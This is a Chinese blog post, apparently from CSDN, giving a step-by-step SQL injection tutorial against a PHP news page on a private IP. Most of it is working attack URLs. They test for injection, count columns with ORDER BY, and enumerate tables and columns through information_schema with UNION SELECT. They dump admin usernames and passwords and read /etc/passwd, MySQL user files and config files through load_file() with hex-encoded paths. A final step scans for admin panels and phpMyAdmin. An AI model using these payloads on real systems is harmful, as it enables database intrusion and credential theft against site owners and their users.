SQL注入常用手法

1.首先确定是否存在注入点

http://192.168.16.128/news.php?id=1

http://192.168.16.128/news.php?id=1'     出错或显示不正常

http://192.168.16.128/news.php?id=1 and 1=1    正常

http://192.168.16.128/news.php?id=1 and 1=2    出错或显示不正常

如果有出错,说明存在注入点。


2.确定字段长度。

http://192.168.16.128/news.php?id=1 and 1=1 order by 8  正常

http://192.168.16.128/news.php?id=1 and 1=1 order by 10  出错

说明字段长度为9


3.猜字段

http://192.168.16.128/news.php?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9

发现页面文章处出现4,7,9,于是在4,7,9上填入SQL语句

http://192.168.16.128/news.php?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin

对于5.0以上的版本可以使用information_schema来爆数据库

http://192.168.16.128/news.php?id=1 and 1=2 union select 1,2,3,group_concat(table_name),5,6,7,8,9

from information_schema.tables where table_schema=database()

假如存在admin表

http://192.168.16.128/news.php?id=1 and 1=2 union select 1,2,3,group_concat(column_name),5,6,7,8,9

from information_schema.columns where table_name=0x61646D696E


http://192.168.16.128/news.php?id=1 and 1=2 union select 1,2,3,group_concat(username,0x40,password),5,6,7,8,9
from admin


4.进一步利用load_file()

http://192.168.16.128/news.php?id=1 and 1=2 union select 1,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9

load_file(0x633A5C626F6F742E696E69)                   c:\boot.ini
load_file(0x633A5C77696E646F77735C6D792E696E69)       c:\windows\my.ini
load_file(0x633A5C77696E646F77735C7068702E696E69)     c:\windows\php.ini
load_file(0x6D7973716C2F757365722E4D5944)             mysql/user.MYD  跨表查询数据库密码

load_file(0x2F6574632F706173737764)                      /etc/passwd
0x2F6574632F68747470642F636F6E662F68747470642E636F6E66   /etc/httpd/conf/httpd.conf
load_file(0x2F6574632F7068702E696E69)                    /etc/php.ini
0x2F6574632F706870352F617061636865322F7068702E696E69     /etc/php5/apache2/php.ini
load_file(0x2F6574632F6D792E696E69)                      /etc/my.ini



5.使用wwwscan扫描网站后台

主要目标:找后台以及phpmyadmin等

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值